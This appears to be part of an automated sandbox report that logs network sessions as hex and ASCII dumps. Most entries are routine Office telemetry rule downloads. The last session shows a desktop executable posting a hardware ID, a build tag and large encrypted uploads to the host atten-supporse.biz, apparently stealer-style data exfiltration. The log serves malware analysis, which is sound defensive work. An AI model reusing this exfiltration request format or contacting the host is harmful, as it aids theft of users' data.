67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.7	49759	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:39 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:39 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 836d2ba0-b01e-0070-7302-481cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163539Z-r1cf579d77898tqwhC1EWRf9q800000002yg000000003cqc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:39 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.7	49760	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:40 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:40 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: eee9af6d-a01e-001e-1905-4849ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163540Z-r1cf579d778zvkpnhC1EWRv23g0000000320000000006vxs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:40 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.7	49761	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:40 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:40 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 32c7c32d-b01e-003e-2b01-488e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163540Z-r1cf579d778xq4f9hC1EWRx41g00000002u000000000031c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:41 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.7	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:41 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:41 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 45682ef5-801e-0048-7703-48f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163541Z-r1cf579d778t6txphC1EWRsd44000000039g000000006zn0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:41 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.7	49762	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:41 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:41 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 7b814a2b-101e-0017-4003-4847c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163541Z-r1cf579d778qlpkrhC1EWRpfc800000003n0000000001aey x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:41 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.7	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:41 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:41 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: a7f5343d-701e-001e-5304-48f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163541Z-r1cf579d778g2t6ghC1EWRfggs00000002a0000000003wmz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:41 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.7	49767	104.21.16.9	443	5480	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:42 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=OIC7KHIWSWX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 583479 Host: atten-supporse.biz
2024-12-07 16:35:42 UTC	15331	OUT	Data Raw: 2d 2d 4f 49 43 37 4b 48 49 57 53 57 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 45 30 46 32 33 41 32 46 30 43 44 35 38 31 39 44 35 39 39 44 41 46 36 43 39 35 44 36 30 32 39 0d 0a 2d 2d 4f 49 43 37 4b 48 49 57 53 57 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4f 49 43 37 4b 48 49 57 53 57 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4f 49 43 37 4b 48 49 57 53 57 58 Data Ascii: --OIC7KHIWSWXContent-Disposition: form-data; name="hwid"BE0F23A2F0CD5819D599DAF6C95D6029--OIC7KHIWSWXContent-Disposition: form-data; name="pid"1--OIC7KHIWSWXContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--OIC7KHIWSWX
2024-12-07 16:35:42 UTC	15331	OUT	Data Raw: 1f f6 61 a0 90 54 33 0d af fd 3d 2b 31 51 67 73 29 73 ce 2c fc 50 d4 dd a9 9d 4d 86 10 76 66 f9 95 0e f4 a9 de 37 0e f2 c0 c8 cd fd 66 b5 07 e7 83 de aa 02 52 e9 9f c3 c2 73 4d 65 e7 0b 45 36 32 43 ae 3b 19 85 03 7a dd c6 c7 95 bd 9a 4d d0 7a 45 10 bf 3a 64 a0 ec ad 30 09 68 ed 41 af fa ec 46 ff 01 d8 2a ca e0 88 08 af 77 3b ce e4 3b 60 df b7 00 57 58 48 03 39 c7 e6 0a b9 a4 d6 54 c9 20 16 d9 3d 57 01 70 46 2b de 6c d7 60 e9 1d a1 95 fe ff 76 b6 3f 83 e0 da 10 1c 7d 17 a0 8b a0 6e 54 20 ca 4e 1f a8 41 3f 25 56 b6 ee 8e 09 c2 30 2b de 3e 23 b1 73 97 d2 1b f6 13 7a 82 38 5b 0c 7f 87 57 e1 61 71 20 cd 7f b5 b7 c8 12 30 9a a0 84 1f 9d d1 06 da df a3 a6 59 d5 8a 84 03 0b ce 0a e8 f3 1f 9d 9b b6 da e5 22 f8 95 16 07 b9 7f 26 33 78 b3 1b 8c 6d cc e6 91 04 e5 51 Data Ascii: aT3=+1Qgs)s,PMvf7fRsMeE62C;zMzE:d0hAF*w;;`WXH9T =WpF+l`v?}nT NA?%V0+>#sz8[Waq 0Y"&3xmQ
2024-12-07 16:35:42 UTC	15331	OUT	Data Raw: 36 f2 68 b1 ee 50 b2 2a 2b 92 09 cd bc 1e 31 a1 3d 0a 27 11 dd c4 aa 0b 67 0e 9a 93 9b 21 2e 65 7a ad 20 87 f5 06 d0 0d f7 6f d1 c2 6d 64 0b 16 45 73 3f 39 5e 77 98 0a 0d fc 32 df af fe b1 7f c4 bb 72 d5 8d fb 6c 48 d0 3c a0 3f 1d 2a 8e 7e 5c 2c 0a a0 0d 8d ca 75 e2 ad 15 c3 f1 d2 d1 04 ea e0 43 8d e0 b6 83 51 45 ca c7 2a 52 40 69 d6 19 10 f0 8d bf 30 aa 05 e0 1e df e6 72 7e dd c6 e3 9a aa f1 16 91 6e 47 60 f7 ed 53 15 00 eb 6a f8 35 23 51 fe 3d c0 f6 49 27 01 b1 57 a5 80 31 06 68 48 37 31 16 07 41 cd c1 45 48 f0 40 02 7a 7b 51 93 ff cf 78 bd d8 03 5d ed 82 32 7f 4f 73 83 c7 3c 4d 88 9e 0a 57 cb 81 b3 08 d6 0f 90 bb 45 c7 f1 da b9 7d dc 89 4a 36 ea d8 f0 33 14 eb 79 e7 67 f7 58 d3 1b 3b 94 dc de ef dc df 4f 41 65 83 c4 6e 83 47 1d bb 7d 0e f7 87 76 ad e2 Data Ascii: 6hP+1='g!.ez omdEs?9^w2rlH<?~\,uCQE*R@i0r~nG`Sj5#Q=I'W1hH71AEH@z{Qx]2Os<MWE}J63ygX;OAenG}v
2024-12-07 16:35:42 UTC	15331	OUT	Data Raw: 4b 57 f0 0c 3a af e3 19 5d 82 64 b7 fc d4 93 d8 7f 72 3b 15 a8 30 ac fc 80 98 94 bf 48 cd 2d 70 f8 e4 c2 f9 bd 79 be 9d 0f b7 2d f4 5e 86 bf 1c 2a 59 f7 e7 a0 8f 9e d6 44 aa 30 07 d6 cd 82 ee 5f 6a d9 66 e7 38 6e bc c9 4b bf b3 ae b3 af f8 d9 60 58 f8 0d a7 3d de 4d b6 0b 07 2a fb 7f bc 62 bf f9 a1 a9 7c 3a b3 5f c7 68 22 25 8c 6c b6 b9 c0 4c aa 18 94 96 1e f0 ac d5 23 8b 26 4d d4 0c 72 c7 bb 58 4b 4d 51 7b 9e 6f fa 05 00 77 4b 2d b7 28 3b ff 56 13 f6 df a1 3b f6 b5 19 9b 2b 23 47 cf 53 6c 42 3e d1 7f 3f bb f6 2a 55 15 44 9f 2d 67 c4 fe 3b 58 3b 18 f0 d7 a4 04 43 d8 f6 76 dd db 47 75 42 70 30 b9 09 db 17 fe 09 15 df 5e ff a9 e0 6e 03 35 04 7a a6 29 1e 2f 59 0e 36 b9 4b 66 5d 05 78 7c b3 68 b9 08 ca 6d 6e 03 26 3b 94 8f d2 ae 66 41 04 4c ae d4 68 3b 73 33 Data Ascii: KW:]dr;0H-py-^YD0_jf8nK`X=Mb\|:_h"%lL#&MrXKMQ{owK-(;V;+#GSlB>?*UD-g;X;CvGuBp0^n5z)/Y6Kf]x\|hmn&;fALh;s3
2024-12-07 16:35:42 UTC	15331	OUT	Data Raw: da cf 60 87 12 e4 76 a7 77 6f 73 21 6a 91 40 44 93 db f3 ed 63 08 25 87 a6 1c a9 24 aa 23 de 59 87 7d 34 51 07 ec 2e 99 cc 95 5d cf 89 05 ff c7 cb 0d 88 34 a0 4d 7b 0c 28 97 74 10 99 bc 44 b8 99 02 d2 c1 df ef 04 d3 41 cc a2 d9 08 8d 42 76 98 d0 ee 17 01 97 49 62 08 0a 08 0c 0d 4c 51 db 35 1f 47 8f e0 e4 78 6e ae c6 32 d4 55 1f ac 0b fe f7 ac 22 ef db 45 df 34 fe 41 1c b8 4c e9 e4 02 8f c6 31 77 4b bb 4e 82 5d d2 74 96 38 c9 b1 af b9 75 fc 3a 28 c6 8d b6 d6 65 7b 73 2e 6b a9 73 83 74 4f 84 5f cd 77 76 62 e1 de c7 48 f9 ca 77 bf 4f 42 aa 32 36 28 d8 c0 78 cd cb d6 eb d2 59 0e ef b2 d1 f0 2f 54 35 bd 3e 72 1a 97 ae 54 f1 b2 78 1b bb 75 88 58 f6 fb c2 b9 f8 fc fd 96 72 c9 05 9b d7 c4 b0 31 8e 50 52 31 ca 7b 3d 29 eb d6 6d ae 4f 51 3a f7 56 f7 37 1b 54 5b 38 Data Ascii: `vwos!j@Dc%$#Y}4Q.]4M{(tDABvIbLQ5Gxn2U"E4AL1wKN]t8u:(e{s.kstO_wvbHwOB26(xY/T5>rTxuXr1PR1{=)mOQ:V7T[8
2024-12-07 16:35:42 UTC	15331	OUT	Data Raw: d5 ee 3c e8 3a ed 99 69 b6 bd ad 36 bd 28 f6 e2 7f 70 d6 73 3e 4a d3 c5 21 0c 07 e9 1e d7 1d 53 dd 6b b6 87 83 74 f6 38 8f 56 a6 4b e6 bd 3b 8f 91 1c 62 ea 9f a6 d8 60 fe d1 82 ba 76 ea 80 a3 7f 5c af 21 16 95 be 16 47 92 fd 5b ff 15 a5 45 9c e6 c2 d2 bc c7 e3 ec cc dd cf 32 c6 68 ed e7 b3 7d bc 9f 93 af ee 75 c4 97 7b 88 f3 3d 10 2e f9 04 5a ea 82 3b 16 eb 0b a6 78 76 2f 58 be b5 4c c0 92 30 61 3a a2 04 42 82 ba b9 42 6a b8 41 13 ae 70 47 cd a0 6a 40 ed 3f 8d 6e 64 2c 1c 8b 6d 93 8a d1 86 13 94 b9 24 b1 23 94 f8 66 9f b5 c9 8a b9 9e ee 3c b6 a0 22 3d a9 4b e2 f9 8e 18 67 6c e4 b1 a9 ec 71 37 99 7c 5f de 77 d9 e6 a7 8d 8d 80 c5 eb d7 bb f9 38 df 50 94 c1 36 ec 49 70 92 94 d8 35 f8 bd fb 60 aa f1 6c 15 26 4c 4f e6 39 37 73 e8 c3 1e a2 cd 78 0e 7d ef 38 11 Data Ascii: <:i6(ps>J!Skt8VK;b`v\!G[E2h}u{=.Z;xv/XL0a:BBjApGj@?nd,m$#f<"=Kglq7\|_w8P6Ip5`l&LO97sx}8
2024-12-07 16:35:42 UTC	15331	OUT	Data Raw: fb e7 65 75 e2 8a a9 26 e9 38 69 22 b4 f2 de cc dd 5d 55 e9 22 84 38 ee c5 b5 d4 ea 9a 84 25 73 48 c1 89 51 3c f0 34 97 1c 87 c9 36 4e 18 17 13 ef 0d d1 34 b7 18 63 4f ba 91 4d 22 a4 96 ce 83 2c 0b 02 48 68 89 07 09 41 25 08 14 4d 0e 49 42 67 3d 72 88 a2 c9 0b bc c9 d5 ab d6 99 9e 19 d5 70 aa 92 46 77 2a 79 e1 f9 ee f6 47 1c 33 89 fd 29 74 8c 23 02 de 6d 09 45 91 2e f2 5d 81 48 86 f2 63 9c df 3f 40 e1 f6 ee ef 5f 3f b6 3d 8a 54 71 5a 56 4d f3 e3 10 26 9f 35 49 21 8d 61 78 49 7e 04 66 a6 c7 5f 7d 1e cc 0b 26 97 bd 2d cc 11 d4 87 5a 6c 2c 51 6f 56 62 2a ae b7 d9 a8 39 63 6e d6 5a 87 91 9a f7 9f 6c 57 52 af fd 48 a8 26 a3 28 25 28 df 41 62 de 54 f9 f7 17 50 77 e2 8f ae c4 59 53 67 e4 be 7d 78 03 08 54 42 d0 0e f5 75 d8 9f 28 62 b0 b7 a9 1a a7 91 7b fc f1 31 Data Ascii: eu&8i"]U"8%sHQ<46N4cOM",HhA%MIBg=rpFwyG3)t#mE.]Hc?@_?=TqZVM&5I!axI~f_}&-Zl,QoVb9cnZlWRH&(%(AbTPwYSg}xTBu(b{1
2024-12-07 16:35:42 UTC	15331	OUT	Data Raw: cb 9d 4c 97 21 11 e5 a9 9e 2c 1e 82 4c 83 fa 5f fd a1 f9 c1 03 af 70 4b a4 50 b2 cd 0e 76 8b b2 09 b0 e8 1d 80 83 3d 39 11 eb a1 5a 20 7b da df f1 26 4a b3 18 78 8c d9 46 ad c8 2d 53 2e b4 25 0c 69 c7 f6 9a eb bf 3e ec 23 f8 54 0b e7 fa 57 83 a2 53 1e 99 a6 52 bc b6 b5 29 b1 af c3 44 75 6e 87 8c 30 98 7c fe 14 e6 c2 9d 3d c4 0a 12 4c ec 68 fb ee d8 13 5a 88 96 e8 c4 e3 fc 52 09 04 9a 2a 7a 5c 64 6d 82 4f cf 0a f5 d2 54 4f 79 a5 79 9c b6 bd 4f 39 bc b8 cb f3 57 73 20 2e 4f c0 99 b6 d6 c2 e3 94 9a 6f 5a de b6 c9 0d 49 b4 42 b4 4f d1 4c 4e 52 8e 60 92 10 b0 b6 61 b3 d8 c3 66 51 8b a6 ab 11 d6 05 4d 6f 47 09 8b 49 cc e7 80 51 ac 0d 84 3a 75 57 04 b8 15 57 ba 37 1a cf 51 98 e2 bc f4 67 cc 4a d6 e9 90 5e a8 fb d4 7f 67 ab 34 71 6e 30 19 a3 77 b6 1e d2 d6 ea 7d Data Ascii: L!,L_pKPv=9Z {&JxF-S.%i>#TWSR)Dun0\|=LhZR*z\dmOTOyyO9Ws .OoZIBOLNR`afQMoGIQ:uWW7QgJ^g4qn0w}
2024-12-07 16:35:42 UTC	15331	OUT	Data Raw: ed d6 41 66 9a db a8 d5 9f 69 7a f8 f9 f8 b8 f9 5c ef f5 ee b7 2b 6b 4a fd 7e 13 2f ec 31 70 5f 28 bd 5b a2 5d 00 3c 0d ad 32 6d 57 24 4d ab 1f b4 26 e7 a6 9b c2 a9 b3 63 6a 37 b9 2c a3 d9 a2 c2 96 9f 72 3b 29 cd f6 54 72 df 01 54 c0 ae 77 dc c8 81 95 fd 52 61 ad 3e 17 db 18 f0 05 00 1e 94 34 75 fe 7b ec 11 33 05 5e a0 d3 e2 8b a4 57 36 90 43 c9 65 c3 2f 46 08 aa 0d 00 f5 6d 4a 3f 2c 43 4f 3c 5d ce 2e 0d cf 4c 3f 6c a6 49 fb a9 16 b3 96 4b c6 82 eb 0b 58 47 20 46 a5 f6 0f f1 46 d5 3a d8 a2 83 b4 07 9a 1a 59 05 fe 69 f2 46 e1 4b 5d 2a b0 ed 77 e4 27 d5 25 c1 7c 3b 35 a4 d9 71 90 29 44 f5 da ba 29 23 61 fc 89 5d 33 3a 60 5d 2c a7 3d 78 3f 7b 46 43 85 05 08 3b 45 fe f2 51 ac 16 1f dd da 38 f3 04 6e 8b f5 cf 84 f8 8c 89 67 c4 42 c6 a7 c9 d5 41 d0 ea 89 ad a6 Data Ascii: Afiz\+kJ~/1p_([]<2mW$M&cj7,r;)TrTwRa>4u{3^W6Ce/FmJ?,CO<].L?lIKXG FF:YiFK]*w'%\|;5q)D)#a]3:`],=x?{FC;EQ8ngBA
